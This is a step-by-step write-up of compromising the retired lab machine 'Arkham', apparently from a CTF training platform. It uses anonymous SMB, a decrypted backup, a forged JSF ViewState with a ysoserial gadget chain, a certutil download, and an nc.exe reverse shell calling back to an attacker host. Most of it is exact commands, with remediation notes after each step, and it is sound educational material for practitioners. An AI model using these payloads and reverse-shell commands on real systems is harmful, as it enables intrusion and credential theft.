Arkham
Summary
Reconnaissance against $TARGET (ARKHAM) revealed SMB with null/anonymous authentication enabled, IIS 10.0 on port 80, and a legacy Apache Tomcat 8.5.37 instance on port 8080. Anonymous SMB enumeration surfaced a world-readable share named BatShare that contained an application backup archive; inside was a LUKS-encrypted disk image that opened with the guessable passphrase. Mounting the decrypted volume exposed a backed-up Tomcat web-application descriptor (web.xml.bak) from which the Apache MyFaces JSF ViewState encryption secret was recovered.
Armed with that secret, I forged a malicious ViewState payload wrapping a ysoserial CommonsCollections6 Java deserialization gadget chain and POSTed it to the /userSubscribe.faces endpoint, achieving blind remote code execution on the Tomcat server despite benign-looking HTTP 500 responses. The Tomcat service account was then used to download nc.exe via certutil and establish a reverse shell as the initial foothold. From that shell, Alfred's Outlook offline store — stored in a path readable by the service account — was exfiltrated; binwalk carved an embedded screenshot PNG from the OST that showed Batman's account password visible in a cmd.exe net-use window.
OCR reconstruction of the screenshot, combined with SMB credential spraying, recovered the correct password. Batman's account carried local administrator rights on ARKHAM, enabling direct remote command execution via SMB that read both the user and root flags without any further escalation step.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"Some commands also carry a value in angle brackets — <carved_screenshot> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP port scan with service and version detection.
$ nmap -sC -sV -p- --min-rate 5000 -oN nmap_arkham.txt $TARGETQuick SMB fingerprint: OS version, domain, signing status, SMBv1 state.
$ nxc smb $TARGETExact commands 3
Enumerate SMB shares over a null session.
$ nxc smb $TARGET -u '' -p '' --sharesList BatShare contents authenticated as guest.
$ smbmap -H $TARGET -u guest -p '' -r BatShareDownload all files from BatShare, including appserver.zip.
$ smbclient //$TARGET/BatShare -U 'guest%' -c 'recurse ON; prompt OFF; ls; mget *'FixDisable SMB null-session and guest authenticationCritical
Exact commands 4
Extract the archive to reveal backup.img and IMPORTANT.txt.
$ unzip -o appserver.zip -d appserver_extractedDecrypt the LUKS image with the guessable passphrase.
$ printf "$PASSWORD" | sudo cryptsetup open --type luks appserver_extracted/backup.img arkham_backup --key-file -Mount the decrypted volume.
$ sudo mount /dev/mapper/arkham_backup /mnt/arkham_backupExtract the MyFaces ViewState HMAC/encryption secret from the backed-up config file.
$ grep -iE 'secret|macSecret|algorithm' /mnt/arkham_backup/Mask/tomcat-stuff/web.xml.bakFixRemove sensitive backup archives from network shares and enforce strong encryption passphrasesCritical
Exact commands 3
Build a gadget-chain payload for an out-of-band ICMP callback to verify RCE. Replace IP with $ATTACKER_IP.
$ java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 "ping -n 1 $ATTACKER_IP" > oob_payload.binDES-encrypt and HMAC-SHA1-sign the gadget bytes in MyFaces ViewState format using the recovered secret.
$ python3 forge_viewstate.py --secret "$KEY" --payload oob_payload.bin --out forged_vs.b64POST the forged ViewState. HTTP 500 in the response is expected and does not indicate failure — verify via out-of-band callback.
$ curl -s -X POST "http://$TARGET:8080/userSubscribe.faces" --data-urlencode 'j_id_jsp_1623871077_1:email=test@test.com' --data-urlencode "javax.faces.ViewState=$(cat forged_vs.b64)"FixRotate the MyFaces ViewState secret, harden deserialization, and upgrade Apache TomcatCritical
Exact commands 4
Serve nc.exe from my machine on port 8002 (run in background). Port 8001 was not reachable from the target.
$ python3 -m http.server 8002Open the reverse-shell listener (run in background).
$ ncat -lvnp 4444Stage nc.exe on the target via certutil. Replace $ATTACKER_IP with $ATTACKER_IP.
$ java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 "certutil -urlcache -split -f http://$ATTACKER_IP:8002/nc.exe C:\Windows\Temp\nc.exe" > dl_payload.bin && python3 forge_viewstate.py --secret "$KEY" --payload dl_payload.bin --out dl_vs.b64 && curl -s -X POST "http://$TARGET:8080/userSubscribe.faces" --data-urlencode 'j_id_jsp_1623871077_1:email=test@test.com' --data-urlencode "javax.faces.ViewState=$(cat dl_vs.b64)"Trigger the reverse-shell callback to the ncat listener.
$ java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 "cmd.exe /c C:\Windows\Temp\nc.exe -e cmd.exe $ATTACKER_IP 4444" > shell_payload.bin && python3 forge_viewstate.py --secret "$KEY" --payload shell_payload.bin --out shell_vs.b64 && curl -s -X POST "http://$TARGET:8080/userSubscribe.faces" --data-urlencode 'j_id_jsp_1623871077_1:email=test@test.com' --data-urlencode "javax.faces.ViewState=$(cat shell_vs.b64)"FixBlock outbound HTTP from server processes and restrict certutil-based file downloadsHigh
Exact commands 3
Run inside the Tomcat shell — copies Alfred's backup into the web root for HTTP retrieval.
$ copy C:\Users\Alfred\Downloads\backups\backup.zip C:\tomcat\apache-tomcat-8.5.37\webapps\ROOT\backup.zipDownload and extract the backup from my machine.
$ curl -s http://$TARGET:8080/backup.zip -o alfred_backup.zip && unzip alfred_backup.zipCarve all embedded binary objects (images, compressed blobs) from the OST file.
$ binwalk -e 'alfred@arkham.local.ost'FixRestrict the Tomcat service account from accessing user home directoriesHigh
Exact commands 3
Preprocess the carved PNG to improve OCR accuracy. Replace filename with actual binwalk output path.
$ convert _alfred@arkham.local.ost.extracted/<carved_screenshot>.png -resize 300% -colorspace Gray -sharpen 0x1 processed.pngOCR the preprocessed image to read the password visible in the net-use output.
$ tesseract processed.png batman_creds && cat batman_creds.txtConfirm recovered credentials authenticate Batman over SMB.
$ nxc smb $TARGET -u Batman -p "$PASSWORD2"FixProhibit storing credentials in email, documents, or screenshotsHigh
Exact commands 3
Confirm Batman authenticates with full (non-Guest) access and enumerate accessible shares.
$ nxc smb $TARGET -u Batman -p "$PASSWORD2" --sharesRead the user flag. Expected value: <user.txt>.
$ nxc smb $TARGET -u Batman -p "$PASSWORD2" -x 'type C:\Users\Batman\Desktop\user.txt'Read the root flag. Expected value: <root.txt>.
$ nxc smb $TARGET -u Batman -p "$PASSWORD2" -x 'type C:\Users\Administrator\Desktop\root.txt'FixRemove Batman's local administrator rights and enforce least privilege for standard user accountsHigh
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds? |
| 8080/tcp | http Apache Tomcat 8.5.37 |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.